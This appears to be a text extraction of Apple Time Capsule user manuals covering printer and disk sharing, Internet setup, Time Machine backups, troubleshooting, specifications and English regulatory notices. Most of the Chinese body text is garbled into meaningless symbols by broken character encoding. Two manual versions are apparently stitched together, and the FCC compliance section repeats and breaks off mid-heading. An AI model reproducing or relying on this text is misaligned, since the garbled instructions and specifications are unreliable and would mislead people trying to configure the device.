4 èéfg4 +h ❡
5 Mac OS X v10.5 6789:;<✐
1 ý%D ➜i6➝ > ➜j ♠➝❝ÁÂ×jê ➜¶DÊl➝❡
2 ×jê ➜,➝⑧+⑨❝ÁÂ3¶E¼%D2 DEF❡
3 ×jê ➜,➝×Ø❡
56¶Ea;<á DEF❝ý¶4 ×ØmnDEF❡
5 Mac OS X v10.3 ,10.4 6789:;<✐
1 c ➜DEF ➝⑧B ➜> / ➝§¨Io⑨❡
2 %D¶Ea DEF❡
56¶Ea;<á DEF❝ý×jê ➜,➝£A%ia%D Bonjour❝
Á¶Ea%DDEF❡
=>Windows XP , Vista 679:;<✐
1 ý Time Capsule ãä å¹4ç± Windows _` Bonjour❡
2 ýèéfg4 +h"1h2 DEF❡
AirPort fg:ø:p1ø fg❝d0 Time
Capsule "1 Internet❡"1h Time Capsule Ë fgm0º» "
1 Internet❡ 2 Time Capsule 17
Time Capsule❝fg"1hË fgmuq#VPQ❡
AirPort
íî £pK2 Time Capsule❝ý ➜AirPort ➝¼ QR
❡➜AirPort ➝32ç± Time Capsule å¹4 lj"ç±❡
5 Mac OS X v10.4 ,8?@ Macintosh 678✐
1 c ➜AirPort ➝⑧B ➜> / ➝§¨Io⑨❡
2 %D2 Time Capsule ÁÂ×jê [ e*]❡
56; [ e< ] > AirPort⑨❡
2 %D2 Time Capsule ÁÂ×jê [ e*]❡18 2 Time Capsule
3 ýèéfg4 +h Time Capsule 2 ❡
➜AirPort ➝¼ QRvÝ2jÆÝÞ❝wxî
y 2î z{❝£|R2+,ö ❡
562î Time Capsule "1 Internet❝2óô} Internet z{{>~
⑧ISP⑨ý} ⑧DSL :ÎÏÐF⑨ ❝:nÑ< "1
Internet❡í2 ISP 1h ½Q ⑧5 IP B: DHCP )* ID⑨❝0
uî3 ➜AirPort ➝a+,ÅƽQ❡32 Time Capsule l❝ý9
êÅƽQ^Zd❡ 2 Time Capsule 19
20^ ➜AirPort ➝¼ QR ❡ Q
Rd
2UVóô '❞-. ¡❝&â
❡
í2î34 ! USB DEF: USB ¸¹✐
1 dDEF:¸¹"1h Time Capsule USB Ë ⑧d⑨❡
2 c ➜AirPort ➝⑧B Macintosh fg4 ➜> / ➝§
¨I¼❤:Windows XP fg [ J ] > [ e< ] > AirPort ¼⑨❡
3 %D2 Time Capsule ÁÂ×jê [ e*]❡
56; / ➝§¨
I¼❤56nWindows XP fg❝FnB [ J ] > [ e< ] > AirPort ¼⑨❡
2 %D2 Time Capsule ÁÂ×jê [ e*]❡
í2%3G÷ Time Capsule❝20uî"1÷ ❝Á
ÂÃG Time Capsule ❡
íî3 Macintosh fg4%D2îG ❝ý%i¶a AirPort
%i❡3Windows XP fg4❝d ï3" 4❝
$h2r (SSID) '(❝íiaÑÄ❝ý%D2 ❡
3 ýèéfg4 +h ! Time Capsule Internet "❡
➜AirPort ➝z{Tc Time Capsule à7❡562î
%&❝5¯"❝:n #$ DHCP %&❝ý ➜AirPort
➝ ➜wLx➝%ia%D ➜þY ➝❡ 2 Time Capsule 21
í2î #$ Time Capsule %& ⑧5#$çW%&❞❞DHCP
l¦❞"®¯❞fûü❞3 ^ ⑨❝ý
➜AirPort ➝þY Time Capsule❡
9F"G✐
1 c ➜AirPort ➝⑧B Macintosh fg4 ➜> / ➝§
¨I¼❤^Windows XP fg [ J ] > [ e< ] > AirPort ¼⑨❡
2 í¶EaÑÄ Z❝ý%D2î Z❡56;❝20^Z[fg4 e<&
â❝w¬2 é❞®¯❞° ±`❡32dTime Machine r#Â❝
ªXYZ[2 fg❡
562n Mac OS X v10.5.2 :^4_`❝~2²H"1 Time Capsule l❝Time
Machine vÝ2n³îZ[2 §¨❡ý×jê ➜\'Z[´¹➝❝
ÁÂTime Machine XYr#µê Y\❡
Mac OS X Leopard ➜j ➝ Time Machine ÈC XYZ[❞
¶jZ[´¹❝:ns ❡
5 Mac OS X Leopard 678,VWTime Machine✐
1 ý%D ➜i6➝ > ➜j ♠➝❝ÁÂ×jêTime Machine❡
2 d h ➜ ➝❡
3 ×jê ➜G´¹➝❡
4 %D2 Time Capsule £×jê ➜Z[➝❡24 2 Time Capsule
·Z[ ½¾I¸ ❝2 ➜Mac QR+h➝❝ÁÂ3mnÆBa+,
Time Machine❡3
25
3 XYZ[\]^
Time
Capsule
Internet
 ý£G$12 fg"1 Internet❡5627"1❝ý& 2n%&
❡56 %&❝Ǥn7"1❝ýÈÉ2 Internet
z{{>~ ⑧ISP⑨❡
 ý& 2"1 n%& ❡
Time Capsule
20^ÖK Time Capsule AirPort -.: Time Capsule -.❡
_` Time Capsule PQ✐
1 ÊËÌ ⑧58^Í⑨×ÎÖK×Øj ❡
7k lmnolpqrst❝u+,Y vwx❡26 3
2 %D2 AirPort ❡
 5 Macintosh 678❝%i¶a AirPort
%i%D Time Capsule
⑧Ï⑨❡
 5Windows XP ab678❝d ï3" 4❝$h2
r [AirPort ] (SSID) '(❝íiaÑÄ❝ý%D2
AirPort ❡
3 c ➜AirPort ➝⑧B Macintosh fg4 ➜> / ➝§
¨I¼❤^Windows XP fg [ J ] > [ e< ] > AirPort ¼⑨❡
4 %D2 Time Capsule❝£ ➜wLx➝%ia%D ➜þY ➝❡
5 ׶a AirPort jê❝ÁÂ×jê ➜wLx➝❡
6 +, Time Capsule -.❡
7 ×jê ➜➝£ ➜çWÐ➝A%ia%D-à -
tu❝£'2 AirPort Y-. ¡❡íq-tu❝ý+,
AirPort -.❡
8 × ➜G➝jêÖY Time Capsule❝£Ñ, ❡
Time Capsule
GÒd AirPort Extreme f ÓÂ❝ÃÖd=❡
í Time Capsule rW(=>❝20uîdwLxÖK'ÔÕ Ö❡
/ Time Capsule noyz{|Y}~vVY ❝
v/ Time Capsule noyz{|Y}❡ 3 27
c Time Capsule defghi✐
m ÊËÌ⑧58^Í⑨×ÎÖK×Ø❝$h
?@'(⑧
5 ⑨❡
Time Capsule d^ê¶ ÖK✐
 Time Capsule DHCP 1 IP B❡
 dÖK# ➜Apple Network XXXXXX➝⑧a XXXXXX ^ AirPort ID a
Â×.».⑨❡
 Time Capsule -.ÖK# public❡
k Time Capsule lmnopq❝rst;uv✐
1 ÓØ Time Capsule f❡
2 ~2, Time Capsule l❝ýÊËÌ×ÎÖK×Ø❡
Time Capsule
0un;<1❝Time Capsule ¡ AirPort PQÙÚ❝:n
Internet z{{>~ ⑧ISP⑨ÛÕ45qÝÞ❡562n DSL :ÎÏÐ
F"1 Internet❝m0unÏÐF: Internet ¥¦ "÷6aÜ❡
ÏÐFr"?\%@❝mý£GaÜÏÐF f❝¤ÝÞ ¥ÂÃÖ"
1❡3Ö14ÏÐF f¥ß❝ý& Time Capsule n$1
"1hÏÐF4❡28 3
5GÄ ?@89 ½Q❝ýc ➜AirPort ➝❝%D2
Time Capsule❝ÁÂ ➜wLx➝%ia%D ➜þY ➝❡×jê ➜wLx
➝á ?@ ½Q❡
2m0^3 AirPort j ¼%D ➜·wLxn³<ÝÞ➝❡56wLx4
5ÝÞ❝➜AirPort ➝ ❝£|R2ÙÚÝÞ❡
í2÷dDEF"1h Time Capsule 4 USB Ë❝Çn AirPort 4 fg7
#V¶D❝ýUVê¶✐
1 & ÷14£÷ DEF❡
2 & 1÷ßß14DEF Time Capsule 4 USB Ë❡
3 & ÷3)*fg4 ➜DEF¶E➝·à¼%DDEF❡
5 Mac OS X v10.5 ,8?@ Macintosh 678✐
 ý%D ➜i6➝ > ➜j ♠➝❝ÁÂ×jê ➜¶DÊl➝❡
 ×jê ➜,➝⑧+⑨£%D¶Ea DEF❝ÁÂ×jê ➜,➝⑧+⑨❡
5 Mac OS X v10.2.7 ,8?@ Macintosh 678✐
 c ➜DEF ➝⑧B ➜> / ➝§¨Io⑨❡
 íDEF3¶E¥o❝ý× ➜,➝jê❡
 A%ia%D Bonjour❝%DDEF❝ÁÂ×jê ➜,➝⑧+⑨❡ 3 29
5Windows XP 678✐
 [ J ] tuEac [ ¶DÊl ]❡
 %DDEF❡íia2ÑDEF❝× [ áDEF ] jê❝ÁÂèéfg4
+h #V❡
4 DEF❝¤ÝÞ ¥ÂÃÖYDEF❡
AirPort
Apple ªz{G AirPort ❡â2G Time Capsule
❡
20^3 AirPort j ¼%D ➜~c AirPort lãäG&â➝:
➜ãäG&â➝❡562å% ➜ãäG&â➝❝ý3A%i¼%Dj
æªl¦ ⑧5¼æ⑨❝«¬XYãäG&â❡
Time Capsule
ê¶ âR&0|R2 Time Capsule çh PQÙÚè
éêÙÚ❡
 d2 Time Capsule KëìÌ ⑧5í:îï⑨ð Jñe❡òIî
SóôõöEÈ❡
 í2d Time Capsule KíÂà❝ýS Time Capsule íÕ÷¥¦ )ú
ð 2.5 øW ⑧1 ùú⑨ ûü❡
 ýþd2 Time Capsule JK3<ÒÈ^4 õöÈ ñe❡30 3
 í2d Time Capsule K¬® Z ¯a❝>ýþ Time Capsule
Ò®❞·Q:f❡d2 1¿aJK Time Capsule j
❡ 0uS Time Capsule 1¥¦ÕV
¦❡
 ± Time Capsule BK❝>ûü ❞2.4 : 5 gigahertz ⑧GHz⑨f
^NOð 7.6 ø ⑧25 ù⑨❡
 ýdÌ` ⑧❞❞ ̤⑨J3Time Capsule 4È❡ŽN
OTime Capsule ❡
AirPort
ûüNO❝uð#ÝÞ 0u❡
ê¶&â0uNO AirPort PQ✐
Â
 $ z{ ⑧DSS⑨f}
 !Æy ¹¨eãä k"fÎ❡ý Z#~ÈÉ^»b
fÎ❡
 !Æf$ %❝5f❞f&è '()^4fÔ¤
 2.4 : 5 GHz }* f❡562 f: AirPort PQ45ÝÞ❝ý
GwLx: Time Capsule e })❝:Gfe })❡
 ô wLx+ })❡5❝56 wLx A '}) 1❝wLx B
K> '}) 6 :}) 11❡4
31
4 wxyz❞|}~
Time
Capsule
5 Time Capsule ½Q❝ýß, www.apple.com/tw/airport S❡
íî-. Time Capsule⑧56~²23ç± Time Capsule å¹4 l£2-
.⑨❝ýß, www.apple.com/tw/register S❡
5 AirPort ²³½Q❞ /0½Q 3/12Ó❝^ Apple
êÑ❝ýß, www.apple.com/tw/support/airport S❡
534^· ²³z{❝ýß, www.apple.com/tw/support S❝£%D2
4¢:LÓ❡32 4
íî7ÙGÄ3 Time Capsule 4 ➜AirPort ➝ ½Q❝ýc
➜AirPort ➝£%D ➜QR+h➝ > ➜AirPort QR+h➝❡
í2 Time Capsule Û567:n7%@?\❝ýèé`þ.a +h ❞
fgQR+h 4½ü❡
í Time Capsule 8Á7,9?\❝ýß, www.apple.com/tw/support S^7
Ù5»b z{ ½Q❡
Time Capsule
2 Time Capsule :oD<- ❡33
Time Capsule ~C
Time Capsule
 ✐2.4 5 GHz
 LMf3✐ 23 dBm ⑧; ⑨
 ✐802.11 DSSS 1 2 Mbps ïð❝802.11a❞802.11b❞802.11g ñò draft
802.11n ñò
 1 RJ-45 10/100/1000Base-T Gigabit WAN ⑧<⑨
 3 RJ-45 10/100/1000Base-T Gigabit LAN ⑧G⑨
 P-¶<=> ⑧USB d⑨ 2.0
 802.11 a/b/g/n AirPort Extreme
 v✐0° C ú 35° C ⑧32° F ú 95° F⑨
 ✐–25° C ú 60° C ⑧–13° F ú 140° F⑨
 ⑧v⑨✐20% ú 80%
 ⑧⑨✐10% ú 90%❝?@A
34 Time Capsule
 ✐197.0 øB ⑧7.75 ùú⑨
 ✐197.0 øB ⑧7.75 ùú⑨
 ✐36.33 øB ⑧1.43 ùú⑨
 _✐1.6 øC ⑧3.5 ùD⑨
MAC
Time Capsule :oD<Ò¸B✐
 AirPort ID✐ÅBnEF4 Time Capsule❡
 NO ID✐íîd Time Capsule "1 Internet❝20uîz{µB½Q°
2 ISP❡
Time Capsule
 d Time Capsule frW Gjà7naÜf❡
 ~"1:ÓØ Time Capsule l❝ý{óHÎI ❡îSþ óôI
õöo[❡
 2n89❝n Time Capsule ;<14f❝´0^dJÙ❡í
2 Time Capsule îz{❝ý:;< 31 ì ➋GÄ+h❞z{²³➌❡
 ý
Vd1I,Ê+Ëa❡í27^öü %$d1I,Ê+Ëa❝
ÛK« ñò0u£õ❡ý& 2 1I Ê+ËL¬õ❝2nd
1I, > Ê+Ëa❡ Time Capsule 35
 ~2 Time Capsule l❝·MN On%@ ÑP❡Time Capsule ·M
< t❝uÊooQ` N❝4ú·oR
&a❡
 S Time Capsule üS❝5T¾❞UV❞WX❞YW¦¤ñe❡
 ý ¡ Time Capsule❝ýþhZå$[❝£ýþ9\]:9^¸
_❡
 ý îS`Ì:Sab32 Time Capsule 4❡í454PcË❝
ýÓfÃüab S❡
 ýî3d· Time Capsule❡Time Capsule n Tdo /0❡
3KJ:¿elíü~❝0u Time Capsule #6f❡~23?
a❝ý îgh Time Capsule❡
!0 ❝(A
Time Capsule❡
( Time Capsule /❡7a/0 ¡
¢£¤¥¦§x¨❡AirPort Express ©ª
^«h¬®¯°❡36
Regulatory Compliance Information
Wireless Radio Use
This device is restricted to indoor use due to its
operation in the 5.15 to 5.25 GHz frequency range to
reduce the potential for harmful interference to cochannel Mobile Satellite systems.
Cet appareil doit être utilisé à l’intérieur.
Exposure to Radio Frequency Energy
The radiated output power of this device is well below
the FCC and EU radio frequency exposure limits.
However, this device should be operated with a
minimum distance of at least 20 cm between its
antennas and a person’s body and the antennas used
with this transmitter must not be colocated or operated
in conjunction with any other antenna or transmitter
subject to the conditions of the FCC Grant.
FCC Declaration of Conformity
This device complies with part 15 of the FCC rules.
Operation is subject to the following two conditions: (1)
This device may not cause harmful interference, and (2)
this device must accept any interference received,
including interference that may cause undesired
operation. See instructions if interference to radio or
television reception is suspected.
Radio and Television Interference
This computer equipment generates, uses, and can
radiate radio-frequency energy. If it is not installed and
used properly—that is, in strict accordance with Apple’s
instructions—it may cause interference with radio and
television reception.
This equipment has been tested and found to comply
with the limits for a Class B digital device in accordance
with the specifications in Part 15 of FCC rules. These
specifications are designed to provide reasonable
protection against such interference in a residential
installation. However, there is no guarantee that
interference will not occur in a particular installation.
You can determine whether your computer system is
causing interference by turning it off. If the interference
stops, it was probably caused by the computer or one of
the peripheral devices.
If your computer system does cause interference to
radio or television reception, try to correct the
interference by using one or more of the following
measures:
 Turn the television or radio antenna until the
interference stops.
 Move the computer to one side or the other of the
television or radio.
 Move the computer farther away from the television or
radio.
 Plug the computer into an outlet that is on a different
circuit from the television or radio. (That is, make
certain the computer and the television or radio are on
circuits controlled by different circuit breakers or
fuses.)
If necessary, consult an Apple Authorized Service
Provider or Apple. See the service and support
information that came with your Apple product. Or,
consult an experienced radio/television technician for
additional suggestions.
Important: Changes or modifications to this product
not authorized by Apple Inc. could void the EMC
compliance and negate your authority to operate the
product.37
This product was tested for FCC compliance under
conditions that included the use of Apple peripheral
devices and Apple shielded cables and connectors
between system components. It is important that you
use Apple peripheral devices and shielded cables and
connectors between system components to reduce the
possibility of causing interference to radios, television
sets, and other electronic devices. You can obtain Apple
peripheral devices and the proper shielded cables and
connectors through an Apple-authorized dealer. For
non-Apple peripheral devices, contact the manufacturer
or dealer for assistance.
Responsible party (contact for FCC matters only)
Apple Inc., Corporate Compliance, 1 Infinite Loop M/S 26-A,
Cupertino, CA 95014-2084
Industry Canada Statement
This Class B device meets all requirements of the
Canadian interference-causing equipment regulations.
Cet appareil numérique de la Class B respecte toutes les
exigences du Règlement sur le matériel brouilleur du
Canada.
VCCI Class B Statement
Europe—EU Declaration of Conformity
For more information, see www.apple.com/euro/
compliance.
European Union — Disposal Information
This symbol means that according to local laws and
regulations your product should be disposed of
separately from household waste. When this product
reaches its end of life, take it to a collection point
designated by local authorities. Some collection points
accept products for free. The separate collection and
recycling of your product at the time of disposal will
help conserve natural resources and ensure that it is
recycled in a manner that protects human health and
the environment.
Disposal and Recycling Information
This product has an internal battery. Please dispose of it
according to your local environmental laws and
guidelines. For information about Apple’s recycling
program, go to www.apple.com/environment.
California: The coin cell battery in your product
contains perchlorates. Special handling and disposal
may apply. Refer to www.dtsc.ca.gov/hazardouswaste/
perchlorate.
Deutschland: Dieses Gerät enthält Batterien. Bitte nicht
in den Hausmüll werfen. Entsorgen Sie dieses Gerätes
am Ende seines Lebenszyklus entsprechend der
maßgeblichen gesetzlichen Regelungen.
Nederlands: Gebruikte batterijen kunnen worden
ingeleverd bij de chemokar of in een speciale
batterijcontainer voor klein chemisch afval (kca) worden
gedeponeerd.38
✐
Singapore Wireless Certification
Taiwan Warning Statements
Korea Warning Statements
© 2009 Apple Inc. j®9❡
Apple❞i6❞Apple ïi❞AirPort❞AirPort Express❞
AirPort Extreme❞Apple TV❞Bonjour❞iPod❞
Leopard❞Macintosh❞Mac OS Time Capsule n
Apple Inc. 3344¢ LÓ-. ~ï❡
Finder❞iPhone Time Machine n Apple Inc. ~ï❡
¬z øj /00u'eöøj
~ï❡www.apple.com/airport
www.apple.com/support/airport
TA019-1384-A
Time Capsule3
5 1
7 Time Capsule
8 AirPort
9
11 Time Capsule
13 2 Time Capsule
14 Time Capsule
17 AirPort
19
19 !"# Internet $%
21 &'()*+
22 ,-./0123456$%7
23 8 Time Capsule Time Machine
25 3
25 9:;<= Internet
25 >?34@ Time Capsule 34
26 Time Capsule ABCD
27 Time Capsule
EFGHIJK4
28 LMNABCD
29 O AirPort
29 P Time Capsule QRS+
30 TU AirPort VWXY &Z
31 4
33 Time Capsule
36 Regulatory Compliance Information1
5
1
Time Capsule
Time Capsule Wi-Fi [\]Z^_`ab❞d Mac OS X v10.5.2 Leopard
@O(efg Time Machine Dhijklmno pBqrs\]Z^
t Time Capsule o❞
Time Capsule uvw[x: AirPort Extreme yzj{|}~❞
& Time Capsule j
T ( Wi-Fi
 2.4 (GHz) j 802.11b❝ 802.11g ! 802.11n &Zj iPhone❝
iPod touch !qr
 5 GHz j 802.11n ! 802.11a &Zj qr! Apple TV
&ZT:{|: j Time Capsule T
o qr!&Z"# Internet ;<❞6 1
B Time Capsulej76
 d Mac OS X v10.5.2 @O(ef¡g Time Machine DhiZ^
o pBqr¢;? Time Capsule Time Machine@❞
 £34¤¥ ¦j§;? Mac OS X Leopard D Time Machine Time Capsule
Mac OS X v10.5.2 aST❞
Macintosh Time Capsule
 wäåB AirPort @ AirPort Extreme ù Macintosh qrj°&
µ¶
;<ú@w¢q´;❞7 â
ã?
@Ab dâAirPort ã âAirPort & ã ây
zãÈBg¡g*4âC]üJKãjD
TF I
JKj+C]'=❞
&()*10*-. 6:Edí]%2❞ Time Capsule EF í]¨GHIJ❞12 1
E Time Capsule qj âAirPort ã&
j
Internet ;<❝USB LMN❝ USB ¼½@ÒB 8❞d¶ Mac OS X q
rojâAirPort ãËâDhiã¬K âã¬Kgú
d¶ Windows XP @ Windows Vista qrojDË âLã> âpBhiã>
âAirPortãg❞
&'2* Time Capsule ìïZ,-./0$%❞9:
; 22 é â,-./0123456$%7
ã❞
/2
13
2 Time Capsule
Time Capsule Internet
AirPort
fM{|BE Time Capsule ;âp
Bhiã > âAirPortãg¡j*]7 Time Capsulej§^Ù â_`ã❞
4 Ùæab ❞
4 Mac OS X v10.5 56789:;
1 *4cb > âdef& ãj§^Ù âLMghã❞
2 ^ÙiÙÚ (+) ¨ ÷+g*]7 LMN❞
3 ^ÙiÙÚ❞
7 LMN9d÷+gjg ÙÚjk
❞
4 Mac OS X v10.3 < 10.4 56789:;
1 LâLMN& ã ËâDhiã¬K âã¬Kg¡❞
2 ÷+g*]LMN❞
LMN9d÷+gj^ÙiÙÚ¨ ?@Abg*4âBonjourãj§
÷+g*]LMN❞
=>?9 Windows XP < Windows Vista 567:;@
1 Time Capsule » CD äå Bonjour Windows e¡❞
2 Ùæab ; âpBhiã > âAirPortã❞
2 *]7 Time Capsulej§^Ù â_`ã❞18 2
Time Capsule
3 Ùæab & Time Capsule !❞
âAirPort ã& NþEs%7Bá tu!á0 vU %
2j¨wN728 & ❞
7á Time Capsule ;<= InternetjD1á Internet vUx (ISP)
{| DSL ÎÏÐο@´ÎÏÐο¡y/j@ÑÒB¢
< Internet ;<❞7 ISP 3`z'ÁÂ { IP m|@ DHCP .
/ ID¡j76:1ád âAirPort ãg2}ÁÂ❞à& 7
Time Capsule ü34ºÁÂ❞ 2
Time Capsule 19
76 âAirPort ã& Nþ ❞º& NþT~
57%W❝34¤¥&'©*+pô1 ~❞
7L d7 o"# USB LMN@ USB ¼½
1 ELMN@¼½;<= Time Capsule USB 0Ê (d) o❞
2 LâAirPort ã Macintosh qrËâDhiã¬K â
ã¬Kgú¶ Windows XP qrËâLã>âpBhiã>âAirPortã
g¡❞
3 *]7 Time Capsulej§^Ù â_`ã❞
o9tpá Time Capsulej^ÙâF qrãqr6 &Zj
§ ÷+g*]7 Time Capsule❞
4 Ùæab ❞
Internet
7L oBx:@;<=¢0Ê qr"# Internet
; âpBhiã >
âAirPortãg¡❞
2 *]7 Time Capsulej§^Ù â_`ã❞
áUì& Time Capsule µ¶Oj76:ô;âpBhiã>âAirPortã
g¡❞
2 ÷+gBÄ &Zj*]7pá &Z❞o9tpá
Time Capsulej^Ù âF qrãqr6 &Zj§ ÷+g*]7
Time Capsule❞
7áUì& Time Capsule µ¶Oj76:ô;<=
j
:U Time Capsule µ¶O❞
á*47páO jd Macintosh qrobg AirPort
b❞däå Windows XP qrojE Pd;<îoj&t7
ot (SSID)j§ ÷+g*4 BÄ 6¡❞
3 âyzãbg*4 â]& ã❞{7234jD234❞
B âAirPort ãg]& x: OÄÁÂj9:www.apple.com.cn/
support/airport o âDesigning AirPort Networks Using AirPort Utility (Mac OS X v10.5 +
Windows)ã Airport &Q AirPort (MacOS X v10.5 + Windows)¡❞22 2
Time Capsule
7 WPA Personal @ WPA/WPA2 Personal µ¶34¤¥jD76
./0{|U7 $%x:j91©*234❞
à7,- ./0$%7 üjº./0 ! MAC m| @
AirPort ID¡T/Ed âAirPort ã $%Ï÷+gj&t7 ÷+g
º./0❞7û6{| 24 ü$%j®ü«³j./0E9:G$%
7 ❞
à7,- ./0$%7 üjº./01234❞
NOPQRSTUVWXYZ[\!5UV
1 LâAirPort ãj*]7 Time Capsulej§ âyzãb*4â
]& ã❞ôáü234❞
2 âyzãbg*4 âi./0ã❞
3 *]º./0$% A
 *] PIN 2./0ø$%ü{| ËT❞
 *] âHIJã,-; IJ ./0$%❞
à Time Capsule d./0üj LED TFI#$❞ 2
Time Capsule 23
p7 {|ü« $%j*] âE./0 $%Ï 24
üã❞9*]}*+j./0E6&$%j&t7 ÷+gº./0❞
Time Capsule Time Machine
d Mac OS X Leopard g Time Machine Dhij76Z^qro
j ¡7 æ¢❝£¤❝¥¢!¬¦❞
& Time Machine ªj
T'§\]Z^7 qr❞
7 v Mac OS X v10.5.2 @O(efjD;H;Z^©½ãj§
Time Machine Tª¶«ç ¬>❞
Mac OS X Leopard g âdef& ã âTime MachineãÈB& \
]Z^❝O=9} Z^©½@α©& ❞
A?9 Mac OS X Leopard 567I<]^ Time Machine
1 *4cb > âdef& ãj§^Ù âTime Machineã❞
2 E]= âã❞
3 ^Ù âO©½ã❞
4 *47 Time Capsule ¨^Ù âZ^ã❞24 2
Time Capsule
H Time Capsule ! Time Machine Z^6:1á±®@O¯ ü«j4°
7Z^ T± IJ❞á³LZ^ j¢E Time Capsule ;
âMac wNãj§djkÄ âTime Machineã❞3
25
3 _`abcde
Time Capsule
Internet
 IJ&< 7 qr;<= Internet❞79:;âpBhiã>âAirPortã
g¡❞
4 *]7 Time Capsulej§ âyzãbg*4 â]& ã❞
5 dg^Ù âAirPortãj§^Ù âyzã❞
6 7 Time Capsule 2 34❞
7 ^Ùâ㨠âä[ã?@Abg*4ý3j° AirPort
í3¨ÓC34¤¥❞7L3x:j7 AirPort 2
34❞
8 ^Ù âO ãF í] Time Capsule ¨Ô & ❞
Time Capsule
IJÕçGE
q❞
Time Capsule %[ÂÃCDjD76:1áEØËt@Ö& ❞
, Time Capsule ij0vwxyUVsz{|4}RUV~,Qi
j0 Time Capsule CUV❞ 3
27
h Time Capsule ifjkl
m ËÌ ÍÎ ÏÐÑ¡ÙÒØËÙÚj&t
JK S× 5 !
"¡❞
Time Capsule EØ˨Bç&
 Time Capsule DHCP <Ø IP m|❞
 EØË Apple Network XXXXXX ®Ù XXXXXX AirPort ID Ú
ËTÛÜ¡❞
 Time Capsule 34ØË public❞
mn!5 Time Capsule opqrstuvwxy
1 E Time Capsule Þq❞
2 E Time Capsule q }üjËÌ ÍÎÙÒØËÙÚ❞
Time Capsule
¢q´6:Ý'(;<❝ Time Capsule 6:9d AirPort Þßàá@Ñ
7 Internet vUx6:Ed%2❞7 DSL ÎÏÐο@´ÎÏÐο
;<= InternetjDºÎÏÐο6:ìâã;<@ Internet ;<❞5°Î
ÏÐοäå>'=jûIJÞ
qjè!"j§ÎÏÐο
F
1 ('LMNìq¨ìq❞
2 ('q´ìëìm;<=LMN! Time Capsule USB 0Êo❞
3 (¤ìd./0qr âLMN÷+ãíÊg*]ºLMN❞
ABCD Mac OS X v10.5 âdef& ãj§^Ù âLMghã❞
 ^ÙiÙÚ (+) ¨d÷+g*]7 LMNj§^ÙiÙÚ (+)❞
ABCD Mac OS X v10.2.7 ❞
4 LMNjè!ýj§Gí
❞
AirPort
Apple '§O AirPort ❞î7O Time Capsule ❞
7û6d AirPort f& g*] âL AirPort üÅÆO ãj@*]
âÅÆO ã❞7*] âÅÆO ãjD ?@Abg*4 ü«ï
â´ðã¡\]ÅÆO ❞
Time Capsule
çîBN Time Capsule 3` ²Áàá!Þßàá❞
 E Time Capsule P dèåABÜñÍ Sò@óô¡ õö÷Íg❞I
JEP døùúû+È Ë ❞
 7E Time Capsule P dòÈjD Time Capsule !ò×ü «ýD=
²B 25.4 þ 1 ¡❞
 E Time Capsule P dÓÈ@ÓÈosvúû+È ÷Íg❞30 3
 ád ¤g
gE Time Capsule !0 &ZPd$j£q
´❝ q´@q Time Capsule❞P Time Capsule üjq´áPd
❞ Time Capsule !q´ª«á¤¸6:S õ«❞
 IJE Time Capsule P dù❝ 2.4 @ 5 (GHz) q!©X
Y=² 7.6 25 ¡ Ë ❞
 E©ÍÎ f❝@Í¡P d Time Capsule ❞®6:
T¥C Time Capsule ❞
AirPort
ùXY øjVW%2 6:ûR ❞çS+TU AirPort ²Á!"XY
Â
 &<#$vU (DSS) %&
 'Ætu ()#$p» *§}+q´❞d&Z"!x3` u
q´❞
 'Æq,&Zj(-q❝q,./0❝qz
 2.4 GHz @ 5 GHz qàá q❞7 q@ AirPort ²ÁE
d%2jO7 yz@ Time Capsule 0j@ÑO7 q
0❞
 »1B210 yz❞Õjyz A & 0 1jDyz B Dº&
0 6 @ 11❞4
31
4 DdEz{|❝~1
Web Time
Capsule
B Time Capsule ÁÂj$% www.apple.com.cn/airport❞
áQ3 Time Capsule 7däå Time Capsule CD o üAB®¯4¡j
$% www.apple.com/register/cn/❞
B AirPort ·¸ÁÂ❝z'!Îm ÁÂ!56 À7 Apple
çÔj$% www.apple.com.cn/support/airport❞
B89¾ ·¸ÁÂj$% www.apple.com/supportj§*47pd 9
ò@m÷❞32 4
áÐB Time Capsule » âAirPort ã OÄÁÂjL
âAirPort ã¨*4 âwNã > âAirPort wNã❞
Time Capsule o$ì:;@9:'=>jÙæf3❝abwN!d
<g ¬>❞
Time Capsule È9:>j$% www.apple.com.cn/support ÐB
3`¤=vU ÁÂ❞
Time Capsule
i÷ M Time Capsule > ❞33
Time Capsule 1B
Time Capsule
 2.4 = 5 GHz
 STk(6? 23 dBm î@¡
 802.11 DSSS 1 ! 2 Mbps îï❝ 802.11a❝802.11b❝ 802.11g ðñjòó
802.11n ðñ
 1 RJ-45 10/100/1000Base-T Ë¢ÌÍ (<)
 3 RJ-45 10/100/1000Base-T Ë¢ÔÍ (G)
 ²A¶B (USB d) 2.0
 802.11 a/b/g/n AirPort Extreme
 xy0° C = 35° C 32° F = 95° F¡
 –25° C = 60° C –13° F = 140° F¡
 xy20% = 80% mUC
 10% = 90% mUC DEF¡34 Time Capsule
 197.0 þ 7.75 ¡
 197.0 þ 7.75 ¡
 F36.33 þ 1.43 ¡
 1.6 G 3.5 H¡
(MAC)
Time Capsule d¾I> JMBÓ ¼m|
 AirPort IDg m|KLo Time Capsule❞
 U ID76:1áE}m|{|æ ISP °E Time Capsule ; Time Capsule q NvE qoÕç❞
 à;<@Þ Time Capsule üjUôOÒP ❞ áøùP úû
Q❞
 9¹8çè78js9DR Time Capsulej5à
ìÞqüû9:R
❞7 Time Capsule 1áS=j9:; 31 é âÐOÄÁÂ❝vU!
·¸ã❞
 9áEj
E&Z t¾ÈZX õ,g❞
 Time Capsule øù[ j\]❝^_¼❝`a❝b`c❞
 ¤¥ Time Capsule 9£dn&!ef@©C, g❞
Â
9áE hÍ@[ ijd Time Capsule o❞ìkÍÎjæ
Þqj§GÉ^ijÍ❞
 dc¾ Time Capsule❞ Time Capsule vc!Î❞
E@¬>9àj6:T:; Time Capsule❞d2 Time Capsule ³hgj
9áE
dmo❞
*
&cjV Time Capsule❞
\ Time Capsule❞
s*~4
❞4 ' ¡¢L❞36
Regulatory Compliance Information
Wireless Radio Use
This device is restricted to indoor use due to its
operation in the 5.15 to 5.25 GHz frequency range to
reduce the potential for harmful interference to cochannel Mobile Satellite systems.
Cet appareil doit être utilisé à l’intérieur.
Exposure to Radio Frequency Energy
The radiated output power of this device is well below
the FCC and EU radio frequency exposure limits.
However, this device should be operated with a
minimum distance of at least 20 cm between its
antennas and a person’s body and the antennas used
with this transmitter must not be colocated or operated
in conjunction with any other antenna or transmitter
subject to the conditions of the FCC Grant.
FCC Declaration of Conformity
This device complies with part 15 of the FCC rules.
Operation is subject to the following two conditions: (1)
This device may not cause harmful interference, and (2)
this device must accept any interference received,
including interference that may cause undesired
operation. See instructions if interference to radio or
television reception is suspected.
Radio and Television Interference
